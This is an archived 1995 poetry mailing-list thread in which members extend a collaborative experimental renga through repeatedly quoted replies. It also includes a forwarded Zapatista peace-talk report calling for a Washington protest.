>>Over coffee topped with whipped lads, the Times blowing
>>& opining, heavy humid air, cum amusing against the
>>bleached ribcage ripcorded into compassed wind
>>kissing the weatherwoman between her beasts as she
>>gives gracious problem: fanatical snacks, landscape of
>>flicka son of thunderhead and the storm in the glass of water'
>>s halfway pertinent incision we keep making safe for ignorance
>>(inspection denied for not knowing how credenza was meant) &
>>neo-colonizing pockets in small furniture intended house
>>sequentially several mountains away but it wasn't, you know, a
>>big tango when the attorney general came, selah hales said,
>>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>>texture so to speak was at the dry cleaners piping hot and
>>gloved-in somewhere unsalted, perched on prescience
>>the chair is sad, alas, and i've lusted tootles' liversthe odor

>>day toy a cello day dis chevys a bo coo daughter chose encore
>>Flaubert because we're waiting all throughout
>>eternity for moments to be of such suchness.
>>In the nooks were creams and in the stream were hooks
>>All melded like striated film leftover in the pastel seeds
>>of darkness falling like a counterirritant around the manchineel.
>>Likewise seams andpaper juxtaposed with seasoned instruments and
>>recently soft fruit of subject's object status, violent
>>transformation la Ste. Therese into beaming cumulus apokoinu
>>switchback and in the u-turns were bookmobiles rounding angles
>>considered shrill as pine left in the acres to be aging
>>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>>effort really is or is not, fast enough to sleep
>>through thunderstorms, arm over thigh until light shakes
>>petals free of names that rain across known skin forgotten
>>alive in our hearse hurts, projective nurse if she is to go ahead
>>and dance, composing instead of straining muscles, far eyes
>>saunter lope pentecost beam operator will you cockpit
>>out, transplanted organs speak, the idiom
>>inseams, a snare as solvently unequal-- the power
>>uncreased although each snare still trembles quantum
>>which explains why the pump is busted and why
>>he preferred whole afternoons on the phone to that
>>crap about not having a cousin on the moon
>>capable of keeping the canoe right way up in the cool
>>prose of the upper Hudson, dinner's at seven so
>>start swimmin, bud: "lay me down in a wetsuit,
>>heats me up in the sleaze," it's like a huge dose
>>of familiarity. I am storing radiance for later use
>>I know the war-whoop in each dusty narrative
>>among the invoices and the difference engines
>>Char, Lee, Parr, Kerr, everybody is here and there
>>collecting the stamp hinges that come in on the breeze
>>delicate lace flies into pelican Bills in the house
>>of narration with partners of good moisture. Here,touch my
>>ebullience with a token gesture of sauce, of the red stuff.
>>I have a lot of duende in the freezer & we can defrost some
>>woods on a snowy evening, my horse is lovely dark and deep
>>as penitence, but let's elude the shakes and drear, get lost in
>>our palaver have tongue will travel not a binge of harmony which
>>in the end goes meerschaum on us till we blink ourselves to
>>creeping where the sublime is cows bathing in starlight. Give

>>temporality a rest, for widest space succombs to onslaughts of
>>hidden porchlight in the latitude that she has given his
>>longitude. Depth is directly stated. A signal slated to be read
>>ingratiates politicos and blond ones also shaven vortices but
>>does mangling exist or the circle is balboa plus expenses
>>cabinets away from lust and pedigree and shark fin soup
>>trailing stiffens buying tears for so many tendons
>>demitassed to mean full-bodied wine with alcohol removed
>>by trained leeches from under the rotting elastic, a feast
>of cinched trousers, steel wool and classicists weeviling their way to
transliterate counters for glimpses of millionaire stools put

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420. cris cheek
Re: this break will or will not not branch
Wed 13 Sep 1995

>>In the books were dreams and in the dreams were books.
>>And flew through windows lightning green and fine morning
>>First inverted whistle of a cardinal in the poplar
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>>which explains why the pump is busted and why
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>>our palaver have tongue will travel not a binge of harmony which
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>>demitassed to mean full-bodied wine with alcohol removed
>>by trained leeches from under the rotting elastic, a feast
>>of swirling eddies with beaucoup of labia & confetti
>>starving time's scythe for water, matching colors to go
>crecheward into sweet line drawings clothed to world our
eco-store with Mona wash and circa navigate the horn

↑ Index

421. Tony Green
ouch
Wed 13 Sep 1995

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the post re S Benson address was meant for Bill Luoma. How did it go on the list?????

Tony Green,
e-mail: [redacted]

↑ Index

422. cris cheek
C.Rodriquez:San Andres VI: The Balance Shifts, Sep 12
Wed 13 Sep 1995

Date: Wed, 13 Sep 95 08:42:18 CDT

San Andres VI- The Balance Shifts
by Cecilia Rodriguez

National Center for Democracy, Liberty, and Justice

"Lies, deceits, falsehoods; none of this wiII achieve any thing. The lies, the threats , the accusations can only bring us to defeat and take us down the wrong road. Only the truth which walks in our heart can lead us to a just and dignified peace."

Comandante David
Zapatista Delegation-CCRI-CG

Historically, the peace talks achieved a duration of seven days. The government delegation appeared together with the Zapatistas for a photo opportunity. They also responded to a Zapatista proposal with applause.

And the traditional indigenous discretion born of 500 years of resistance received these historic firsts with measured optimism, and a skepticism born of too many betrayals.

Standing and waiting through a diligent rain which soaks through the most impermeable material, the observers and the civilians who stand in the peace cordons watch incredulously. Can it be that the talks which have been stalled for months will produce tangible progress? Is it possible that a day will be possible whose dawn will bring the beginning of the end to this terrible siege?

The long nights shifted between those where stars were visible in the sky and a fog so thick that it erased everything in view.

****

With a massive force of volunteers, little or no money, and a timeline of approximately 8 weeks, the plebiscite of the EZLN was the most numerous in Mexico's history; 1,088,094 ballots. It gave voice to what the Mexican government had hoped would be silent or non-existent; national public interest and sympathy with the demands of the EZLN.

The EZLN celebrated the accomplishment with a party; Zapatista style. A meeting where the official results of the Consulta were reviewed was held in a small village reached by vehicles eventually left in the mud. The rain did not stop until the ground was a large brown puddle. The speeches reviewed activities in the different states and internationally.

." Later the crowd from the cities swarmed into a medium-sized building. At 9 p.m. it settled into an awed silence as the masked Zapatistas crowded into one end of the room.

"We had prepared a special program but you arrived very late" said one of them. "Now we want to ask your permission, shall we present the program or are you alI going to leave?"

The audience stayed and the Zapatistas presented 3 folkloric dances and 3 songs. Then the party went on, because the room was warm and the applause was loud. More folkloric dances were presented with Fin del Olvido introduced by a masked young woman strewing flower petals on the dirt floor. Then the audience began to present poems and songs. Their voices filled with emotion, their faces wreathed in smiles.

It was hard to tell who had received the best gift; the results of the consulta presented to the Zapatistas or the sight of masked young men and women who for the moment sang and danced. The party continued until midnight. It celebrated life in the midst of death, the joy of struggle, the warmth of companionship, the certainty that in spite of alI the media clamor to the contrary, a process had just begun.

The government of course argues that the Consulta did not result in the numbers expected, that it did not ask whether the EZLN should lay down its arms, nor about the ability of the EZLN to represent the people of Mexico. Miraculously however, the talks which the Zapatistas had called exhausted, continued for an historic seven days.

********** If extremes are the only viable justification for change in society, then Mexico certainly qualifies. Even Zedillo's State of the Union address could do little to hide the savagery of present economic policies. There about 8 million people in Mexico's informal economy, 5 million more who earn only one-third of what is considered necessary to support a minimum standard of life. In order to have a minimal response to the need for jobs Mexico's economy must grow by 4% per year. In Mexico City, 70,000 children under the age of 5 suffer severe malnutrition, a number which has been multiplied six times over the past 20 years. Only one-fifth of the 670,000 people who are over the age of 65 have a pension. Steel and autoworkers in Mexico must work 2- 2.5 hours to earn enough to buy a two pound chicken (in the US they only have to work about 9 minutes to buy a chicken). In 1995, Mexico recorded 9,712 cases of cholera with 110 deaths, and 38 cases of hemorrhagic dengue so far.

In 1995 Mexico will pay out $57,756,000 dollars on its foreign debt, which is a number 204% higher than everything paid from 1821-1976 on foreign debt. Certainly the achievement of a social transformation capable of altering these statistics will be a difficult painful and long process, something which the Zapatistas clearly understand.

The review of the litany of human suffering through numbers can sometimes elicit a human response. The numbers at the opposite pole are even more dramatic. There are numbers with many zeros to represent the wealth of select individuals who remain power to the brutal detriment of millions. Shock, dismay, tension, empathy; these are the emotions necessary to elicit the attention or the media, the gut reaction of the majority of the public.

Yet the silent determination of hundreds of campesinos in the militarized villages and the patient labor of the Zapatista delegation go unnoticed, In this age of commercialized emotions. To understand the trajectory of the Zapatistas

requires a different mindset, one which goes beyond simplistic formulations of power, one which challenges the distance between many of us and the human family. At 2 a.m. when the mist was especially cold and wet I turned to another international observer and asked, "TeII me something, can you imagine people in the United States leaving home and family and standing all night in the rain? What do you think would move people like this?' "Frankly nothing.. l can't imagine such a thing...maybe only something which was a direct threat to the well-being of their families...maybe ."

The Zapatistas have distinguished themselves in history by being willing to advance it, by allowing and fighting for a democratic space in which the people of Mexico can re-discover each other and themselves. This space was first constructed in Aguascalientes, Chiapas and carved out of the mountain with loving hands. It was filled by a people, groping to find a different way, a way beyond parties, dogmas, and the socialization of 65 years of centralized government. The space widened in the simple process of the Consulta, which gave people basic experience in the vague notion of "democracy"' that social concept expropriated by demagogues and berated by those who believe it should be neater and more efficient.

The Zapatistas know that that space will be rarefied if combat should begin, that to construct a social vision common to 90 million people will require much more than bullets and uniforms. It will require dialogue, the exchange of ideas and concepts, time, experience, and the growing participation of millions; none of which can be easily pursued in open combat. It will require a new consciousness from those in the civilian and international movement, one which allows new energy, ideas and methods of work to evolve.

As far as the EZLN is concerned, it is the fact that reason and not rage or hunger for power dominates their decisions, that the willingness to sit at the negotiating table exists. Official government broadcasts on September 11th announced " The EZLN and the federal government have reached their first peace agreement."

For seven days the Zapatista delegates sat at the table for 10-12 hours with the government. Then, in short hurried meetings until 2 or 3a.m., they met with countless delegations from around the country and the world to share their thirst for justice and a peace with dignity.

What the government claims is their achievement is in reality a proposal made by the EZLN months ago. This round established rules for procedure and a basic agenda for the negotiations but it is a misrepresentation to say that a "first peace agreement' has been reached. It is procedures which has been agreed on by both parties, subject to change and far from a substantive theme such as a proposal to reduce military tensions, something which would do a

great deal to re-establish the confidence of the EZLN in the dialogue. Progress is visible however in the apparent willingness of the government to discuss "national" issues with the EZLN, although a specific proposal from Zedillo was at one point refuted by his own negotiator, Marcos Antonio Bernal.

The strategy of low-intensity warfare however remains the choice of the Mexican government and is a preference for the Pentagon as well. It remains a war of nerves, a war against civilians, a war which the state-party system continues to wage with impunity. After the massacre of 18 campesinos in the state of Guerrero, its people called for the removal and indictment of the governor. The PRI announced there is "insufficient" evidence. As the elections in Chiapas approach two incidents in the villages of Tila and Nuevo Limar have left 4-5 people dead, and dozens of houses burned to the ground by PRI members and the local police. The violence promulgated by profound poverty, centralized authoritarian rule and government-sanctioned repression has not ceased. In spite of dozens of government proclamations for peace, there is little change except cosmetic gestures of reform.

Most of the people of Mexico know this. At the grassroots, in rural and urban communities, a fierce, implacable determination grows, a patient faith, a hope which burns and spreads in spite of all the propaganda, the terror and the manipulation. Indeed a process has just begun.

****
****

To show our support for the Zapatistas the National Commission for Democracy in Mexico, USA has a made a call for "An International Act of Resistance in Support of Democracy in the Americas" for October 9- 12 in Washington D.C. The Act is also a call to demonstrate our outrage at, and rejection of, the neoliberal policies of the PRI government, promoted and supported by the government of the United States. In addition the Act is a call to express our support for the civic society which has committed to struggle for the 16 demands proposed by the EZLN and for a dialogue with respect and dignity that would create the possibility of a Mexico that is genuinely free, just and democratic for everyone.

The fact that the United States government and financial interests are directly manipulating events in Mexico implies that they are also responsible for the misery and deaths of the people of Mexico. The participation of the United States in maintaining millions of Mexicans in subhuman conditions implies that those of us who live here, who believe in justice, liberty and democracy, have an immense responsibility to struggle and mobilize against this policy of hunger and death. We can not allow the liberating light that shines from the mountains of Mexico's southeast to be extinguished.

To do this, we ask that you make every effort to join us October 9-12, in Washington, D.C. in this historic opportunity to stand with the Zapatistas, and to let those in power know that reason and a peaceful transition to democracy must remain a viable alternative in Mexico.

NATIONAL COMMISSION FOR DEMOCRACY IN MEXICO, USA
601 N. Cotton Street, #A103
El Paso, Texas 79902
[redacted]

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423. Charles Alexander

Re: this break will or will not not branch

Wed 13 Sep 1995

>>In the books were dreams and in the dreams were books.
>>And flew through windows, lightning green and fine morning
>>First inverted whistle of a cardinal in the poplar
>>The book and the oboe on the grass under sun and cloud
>>Go endlessly, an obtuse Prussian blue, it binds
>>The caravan of windows to what they flee
>>These lace curtains, more gauze than bondage, more
>>Mollycoddled than aware, thin-spined and pebbling
>>but narrow in the waist or waspish Sunday years ago
>>Over coffee topped with whipped lads, the Times blowing
>>& opining, heavy humid air, cum amusing against the
>>bleached ribcage ripcorded into compassed wind
>>kissing the weatherwoman between her beasts as she
>>gives gracious problem: fanatical snacks, landscape of
>>flicka son of thunderhead and the storm in the glass of water's
>>halfway pertinent incision we keep making safe for ignorance
>>(inspection denied for not knowing how credenza was meant) &
>>neo-colonizing pockets in small furniture intended house
>>sequentially several mountains away but it wasn't, you know, a
>>big tango when the attorney general came, selah hales said,
>>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>>texture so to speak was at the dry cleaners piping hot and
>>gloved-in somewhere unsalted, perched on prescience
>>the chair is sad, alas, and i've lusted tootles' liversthe odor
>>day toy a cello day dis chevys a bo coo daughter chose encore
>>Flaubert because we're waiting all throughout

>>eternity for moments to be of such suchness.
>>In the nooks were creams and in the stream were hooks
>>All melded like striated film leftover in the pastel seeds
>>of darkness falling like a counterirritant around the manchineel.
>>Likewise seams andpaper juxtaposed with seasoned instruments and
>>recently soft fruit of subject's object status, violent
>>transformation la Ste. Therese into beaming cumulus apokoinu
>>switchback and in the u-turns were bookmobiles rounding angles
>>considered shrill as pine left in the acres to be aging
>>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>>effort really is or is not, fast enough to sleep
>>through thunderstorms, arm over thigh until light shakes
>>petals free of names that rain across known skin forgotten
>>alive in our hearse hurts, projective nurse if she is to go ahead
>>and dance, composing instead of straining muscles, far eyes
>>saunter lope pentecost beam operator will you cockpit
>>out, transplanted organs speak, the idiom
>>inseams, a snare as solvently unequal-- the power
>>uncreased although each snare still trembles quantum
>>which explains why the pump is busted and why
>>he preferred whole afternoons on the phone to that
>>crap about not having a cousin on the moon
>>capable of keeping the canoe right way up in the cool
>>prose of the upper Hudson, dinner's at seven so
>>start swimmin, bud: "lay me down in a wetsuit,
>>heats me up in the sleaze," it's like a huge dose
>>of familiarity. I am storing radiance for later use
>>I know the war-whoop in each dusty narrative
>>among the invoices and the difference engines
>>Char, Lee, Parr, Kerr, everybody is here and there
>>collecting the stamp hinges that come in on the breeze
>>delicate lace flies into pelican Bills in the house
>>of narration with partners of good moisture. Here,touch my
>>ebullience with a token gesture of sauce, of the red stuff.
>>I have a lot of duende in the freezer & we can defrost some
>>woods on a snowy evening, my horse is lovely dark and deep
>>as penitence, but let's elude the shakes and drear, get lost in
>>our palaver have tongue will travel not a binge of harmony which
>>in the end goes meerschaum on us till we blink ourselves to
>>creeping where the sublime is cows bathing in starlight. Give
>>temporality a rest, for widest space succombs to onslaughts of
>>hidden porchlight in the latitude that she has given his

>>longitude. Depth is directly stated. A signal slated to be read
>>ingratiates politicos and blond ones also shaven vortices but
>>does mangling exist or the circle is balboa plus expenses
>>cabinets away from lust and pedigree and shark fin soup
>>trailing stiffens buying tears for so many tendons
>>demitassed to mean full-bodied wine with alcohol removed
>>by trained leeches from under the rotting elastic, a feast
>>of swirling eddies with beaucoup of labia & confetti
>>starving time's scythe for water, matching colors to go
>crecheward into sweet line drawings clothed to world our
words for water, falling four blocks away, finally, a gulf
Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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424. Charles Alexander
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

>> > who wrote
>> >you wrote:
>> > I wrote
>> > we wrote:
>> > noone wrote
>> > perhaps wrote:
>> > forget wrote:
>> > over wrote:
>> > apparently wrote:
>> > strumming wrote:
>> >
>> > In the books were dreams and in the dreams were books.
>> > And flewthrough windows, lightning green and fine morning
>> > First inverted whistle of a cardinal in the poplar
>> > The book and the oboe on the grass under sun and cloud
>> > Go endlessly, an obtuse Prussian blue, it binds
>> > The caravan of windows to what they flee
>> > These lace curtains, more gauze than bondage, more
>> > Mollycoddled than aware, thin-spined and pebbling

>> > but narrow in the waist or waspish Sunday years ago
>> > Over coffee topped with whipped lads, the Times blowing
>> > & opining, heavy humid air, cum amusing against the
>> > bleached ribcage ripcorded into compassed wind accident
>> > kissing the weatherwoman between her beasts as she
>> > gives gracious problem: fanatical snacks, landscape of
>> > flicka son of thunderhead and the storm in the glass of water'
>> > s halfway pertinent incision we keep making safe for ignorance
>> > (inspection denied for not knowing how credenza was meant) &
>> > neo-colonizing pockets in small furniture intended house
>> > sequentially several mountains away but it wasn't, you know, a
>> > big tango when the attorney general came, selah hales said,
>> > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> > Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
>> > texture so to speak was at the dry cleaners piping hot and
>> > gloved-in somewhere unsalted, perched on prescience y pues nada
>> > the chair is sad, alas, and i've lusted tootles' liversthe odor
>> > day toy a cello day dis chevys a bo coo daughter chose encore
>> > Flaubert because we're waiting all throughout
>> > eternity for moments to be of such suchness,
>> > to hold a rattle up, to eat our mommies.
>> > In the nooks were creams and in the stream were hooks
>> > All melded like striated film leftover in the pastel seeds
>> > of darkness falling like a counterirritant around the manchineel.
>> > Likewise seams andpaper juxtaposed with seasoned instruments and
>> > recently soft fruit of subject's object status, violent
>> > transformation la Ste. Therese into beaming cumulus apokoinu
>> > switchback and in the u-turns were bookmobiles rounding angles
>> > considered shrill as pine left in the acres to be aging
>> > flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> > effort really is or is not, fast enough to sleep
>> > through thunderstorms, arm over thigh until light shakes
>> > petals free of names that rain across known skin forgotten
>> > alive in our hearse hurts, projective nurse if she is to go ahead
>> > and dance, composing instead of straining muscles, far eyes
>> > saunter lope pentecost beam operator will you cockpit
>> > out, transplanted organs speak, the idiom
>> > inseams, a snare as solvently unequal-- the power
>> > uncreased although each snare still trembles quantum
>> > which explains why the pump is busted and why
>> > he preferred whole afternoons on the phone to that
>> > crap about not having a cousin on the moon

>> > capable of keeping the canoe right way up in the cool
>> > prose of the upper Hudson, dinner's at seven so
>> > start swimmin, bud: "lay me down in a wetsuit,
>> > heats me up in the sleaze," it's like a huge dose
>> > of familiarity. I am storing radiance for later use
>> > I know the war-whoop in each dusty narrative
>> > among the invoices and the difference engines
>> > Char, Lee, Parr, Kerr, everybody is here and there
>> > collecting the stamp hinges that come in on the breeze
>> > delicate lace flies into pelican Bills in the house
>> > of narration with partners of good moisture. Here,touch my
>> > ebullience with a token gesture of sauce, of the red stuff.
>> > I have a lot of duende in the freezer & we can defrost some
>> > woods on a snowy evening, my horse is lovely dark and deep
>> > as penitence, but let's elude the shakes and drear, get lost in
>> > our palaver have tongue will travel not a binge of harmony which
>> > in the end goes meerschaum on us till we blink ourselves to
>> > creeping where the sublime is cows bathing in starlight. Give
>> > temporality a rest, for widest space succombs to onslaughts of
>> > hidden porchlight in the latitude that she has given his
>> > longitude. Depth is directly stated. A signal slated to be read
>> > ingratiates politicos and blond ones also shaven vortices but
>> > does mangling exist or the circle is balboa plus expenses
>> > cabinets away from lust and pedigree and shark fin soup
>> > trailing stiffens buying tears for so many tendons
>> > demitassed to mean full-bodied wine with alcohol removed
>> > by trained leeches from under the rotting elastic, a feast
>> > conducted by William Carlos Williams & the Five Snorers--
> The Mothers of Pathos and Pity opened for them, & it was
unnerving, the legs unto themselves, pressing upon their

↑ Index

425. Charles Alexander
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

>On another day in the year to come, perhaps 5, a person of unknown origins wrote:
>
>> >> In the books were dreams and in the dreams were books.
>> >> And flew through windows, lightning green and fine morning
>> >> First inverted whistle of a cardinal in the poplar

>> >> The book and the oboe on the grass under sun and cloud
>> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> The caravan of windows to what they flee
>> >> These lace curtains, more gauze than bondage, more
>> >> Mollycoddled than aware, thin-spined and pebbling
>> >> but narrow in the waist or waspish Sunday years ago
>> >> Over coffee topped with whipped lads, the Times blowing
>> >> & opining, heavy humid air, cum amusing against the
>> >> bleached ribcage ripcorded into compassed wind accident
>> >> kissing the weatherwoman between her beasts as she
>> >> gives gracious problem: fanatical snacks, landscape of
>> >> flicka son of thunderhead and the storm in the glass of water'
>> >> s halfway pertinent incision we keep making safe for ignorance
>> >> (inspection denied for not knowing how credenza was meant) &
>> >> neo-colonizing pockets in small furniture intended house
>> >> sequentially several mountains away but it wasn't, you know, a
>> >> big tango when the attorney general came, selah hales said,
>> >> "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> >> Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
>> >> texture so to speak was at the dry cleaners piping hot and
>> >> gloved-in somewhere unsalted, perched on prescience y pues nada
>> >> the chair is sad, alas, and i've lusted tootles' liversthe odor
>> >> day toy a cello day dis chevys a bo coo daughter chose encore
>> >> Flaubert because we're waiting all throughout
>> >> eternity for moments to be of such suchness,
>> >> to hold a rattle up, to eat our mommies.
>> >> In the nooks were creams and in the stream were hooks
>> >> All melded like striated film leftover in the pastel seeds
>> >> of darkness falling like a counterirritant around the manchineel.
>> >> Likewise seams andpaper juxtaposed with seasoned instruments and
>> >> recently soft fruit of subject's object status, violent
>> >> transformation la Ste. Therese into beaming cumulus apokoinu
>> >> switchback and in the u-turns were bookmobiles rounding angles
>> >> considered shrill as pine left in the acres to be aging
>> >> flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> >> effort really is or is not, fast enough to sleep
>> >> through thunderstorms, arm over thigh until light shakes
>> >> petals free of names that rain across known skin forgotten
>> >> alive in our hearse hurts, projective nurse if she is to go ahead
>> >> and dance, composing instead of straining muscles, far eyes
>> >> saunter lope pentecost beam operator will you cockpit
>> >> out, transplanted organs speak, the idiom

>> >> inseams, a snare as solvently unequal-- the power
>> >> uncreased although each snare still trembles quantum
>> >> which explains why the pump is busted and why
>> >> he preferred whole afternoons on the phone to that
>> >> crap about not having a cousin on the moon
>> >> capable of keeping the canoe right way up in the cool
>> >> prose of the upper Hudson, dinner's at seven so
>> >> start swimmin, bud: "lay me down in a wetsuit,
>> >> heats me up in the sleaze," it's like a huge dose
>> >> of familiarity. I am storing radiance for later use
>> >> I know the war-whoop in each dusty narrative
>> >> among the invoices and the difference engines
>> >> Char, Lee, Parr, Kerr, everybody is here and there
>> >> collecting the stamp hinges that come in on the breeze
>> >> delicate lace flies into pelican Bills in the house
>> >> of narration with partners of good moisture. Here,touch my
>> >> ebullience with a token gesture of sauce, of the red stuff.
>> >> I have a lot of duende in the freezer & we can defrost some
>> >> woods on a snowy evening, my horse is lovely dark and deep
>> >> as penitence, but let's elude the shakes and drear, get lost in
>> >> our palaver have tongue will travel not a binge of harmony which
>> >> in the end goes meerschaum on us till we blink ourselves to
>> >> creeping where the sublime is cows bathing in starlight. Give
>> >> temporality a rest, for widest space succombs to onslaughts of
>> >> hidden porchlight in the latitude that she has given his
>> >> longitude. Depth is directly stated. A signal slated to be read
>> >> ingratiates politicos and blond ones also shaven vortices but
>> >> does mangling exist or the circle is balboa plus expenses
>> >> cabinets away from lust and pedigree and shark fin soup
>> >> trailing stiffens buying tears for so many tendons
>> >> demitassed to mean full-bodied wine with alcohol removed
>> >> by trained leeches from under the rotting elastic, a feast
>> >> conducted by William Carlos Williams & the Five Snorers,
>> laying on rocks in the wind, dissonance the order of our day
> whereas earlier pieces had emphasized the slow brutality of time
before it is sold, Orson, strange buds in snow, hair again

↑ Index

426. Charles Alexander
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

> wrote wrote
>> wrote wrote
>> >wrote wrote:
>> >wrote wrote
>> >wrote wrote:
>> >wrote wrote
>> >wrote wrote:
>> >wrote wrote:
>> >wrote wrote:
>> >wrote wrote:
>> >wrote wrote:
>> >
>> >In the books were dreams and in the dreams were books.
>
> (about 95 lines omitted)
>
>> >our palaver have tongue will travel not a binge of harmony which
>> >in the end goes meerschaum on us till we blink ourselves to
>> >creeping where the sublime is cows bathing in starlight. Give
>> >temporality a rest, for widest space succombs to onslaughts of
>> >hidden porchlight in the latitude that she has given his
>> >longitude. Depth is directly stated. A signal slated to be read
>> >ingratiates politicos and blond ones also shaven vortices but
>> >does mangling exist or the circle is balboa plus expenses
>> >cabinets away from lust and pedigree and shark fin soup
>> >trailing stiffens buying tears for so many tendons
>> >demitassed to mean full-bodied wine with alcohol removed
>> >by trained leeches from under the rotting elastic, a feast
>> of cinched trousers, steel wool and classicists weeviling their way to
> train themselves as intensely sexual. They worked with oblong
penises, wondering where peaches came from, the ground

↑ Index

427. George Bowering
Re: this break will or will not not branch
Wed 13 Sep 1995

> *In the books were dreams and in the dreams were books.*

> *And flew through windows lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian bluejay, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cum amusing against the*
> *bleached ribcage ripcorded into compassed oriole*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka son of thunderhead and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *(inspection denied for not knowing how credenza was meant) &*
> *neo-colonizing pockets in small furniture intended house*
> *sequentially several mountains away but it wasn't, you know, a*
> *big tango when the attorney general came, selah hales said,*
> *"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the*
> *Roof" Tobacco warehouse, curls no ideas but the woven fabric the*
> *texture so to speak was at the dry cleaners piping hot and*
> *gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' liversthe odor*
> *day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout*
> *eternity for moments to be of such suchness.*
> *In the nooks were creams and in the stream were hooks*
> *All melded like striated tigers left over in the pastel seeds*
> *of darkness falling like a counterirritant around the manchineel.*
> *Likewise seams andpaper juxtaposed with seasoned instruments and*
> *recently soft fruit of subject's object status, violent*
> *transformation la Ste. Therese into beaming cumulus apokoinu*
> *switchback and in the u-turns were bookmobiles rounding angles*
> *considered shrill as cubs left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprisedby how quiet*
> *effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *pirates free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*

> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *start swimmin, bud: "lay me down in a wetsuit,*
> *heats me up in the sleaze," it's like a huge dose*
> *of familiarity. I am storing radiance for later use*
> *I know the war-whoop in each dusty narrative*
> *among the padres and the difference engines*
> *Char, Lee, Parr, Kerr, everybody is here and there*
> *collecting the stamp hinges that come in on the breeze*
> *delicate lace flies into pelican Bills in the house*
> *of narration with giants of good moisture. Here,touch my*
> *ebullience with a token gesture of sauce, of the red stuff.*
> *I have a lot of duende in the freezer & we can defrost some*
> *woods on a snowy evening, my horse is lovely dark and deep*
> *as penitence, but let's elude the indians and drear, get lost in*
> *our palaver have tongue will travel not a binge of harmony which*
> *in the end goes meerschaum on us till we blink ourselves to*
> *creeping where the sublime is marlins bathing in starlight. Give*
> *temporality a rest, for widest space succombs to onslaughts of*
> *hidden porchlight in the latitude that she has given his*
> *longitude. Depth is directly stated. A signal slated to be read*
> *ingratiates politicos and blond twins also shaven vortices but*
> *does mangling exist or the circle is balboa plus expenses*
> *cabinets away from lust and pedigree and shark fin soup*
> *trailing stiffens buying tears for so many tendons*
> *demitassed to mean full-bodied wine with alcohol removed*
> *by trained leeches from under the rotting elastic, a feast*
> *of swirling mariners with beaucoup of labia & confetti*
> *starving time's scythe for water, matching colors to go*
> *crecheward into sweet line drawings clothed to world our*
> *taxi purred at the doorway, pools of gasoline underfoot*

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428. George Bowering

Re: renga

Wed 13 Sep 1995

Okay, I will 'fess up. I started the renga, but I never thought it wd catch on. I was expecting at most a sonnet.
GB

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429. **Charles Alexander**

Re: this break will or will not not branch

Wed 13 Sep 1995

>On Tue, 12 Sep 1995, Scott Krieger wrote:
>
>> > > In the books were dreams and in the dreams were books.
>> > > wrotethrough windows, lightning green and fine morning
>> > > First inverted whistle of a cardinal in the poplar
>> > > The book and the oboe on the grass under sun and cloud
>> > > Go endlessly, an obtuse Prussian blue, it binds
>> > > The caravan of windows to what they flee
>> > > These lace curtains, more gauze than bondage, more
>> > > Mollycoddled than aware, thin-spined and pebbling
>> > > but narrow in the waist or waspish Sunday years ago
>> > > Over coffee topped with whipped lads, the Times blowing
>> > > & opining, heavy humid air, cum amusing against the
>> > > bleached ribcage ripcorded into compassed wind
>> > > kissing the weatherwoman between her beasts as she
>> > > gives gracious problem: fanatical snacks, landscape of
>> > > flicka son of thunderhead and the storm in the glass of water'
>> > > s halfway pertinent incision we keep making safe for ignorance
>> > > (inspection denied for not knowing how credenza was meant) &
>> > > neo-colonizing pockets in small furniture intended house
>> > > sequentially several mountains away but it wasn't, you know, a
>> > > big tango when the attorney general came, selah hales said,
>> > > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> > > Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>> > > texture so to speak was at the dry cleaners piping hot and
>> > > gloved-in somewhere unsalted, perched on prescience
>> > > the chair is sad, alas, and i've lusted tootles' liversthe odor
>> > > day toy a cello day dis chevys a bo coo daughter chose encore
>> > > Flaubert because we're waiting all throughout
>> > > eternity for moments to be of such suchness.
>> > > In the nooks were creams and in the stream were hooks
>> > > All melded like striated film leftover in the pastel seeds
>> > > of darkness falling like a counterirritant around the manchineel.
>> > > Likewise seams andpaper juxtaposed with seasoned instruments and
>> > > recently soft fruit of subject's object status, violent
>> > > transformation la Ste. Therese into beaming cumulus apokoinu
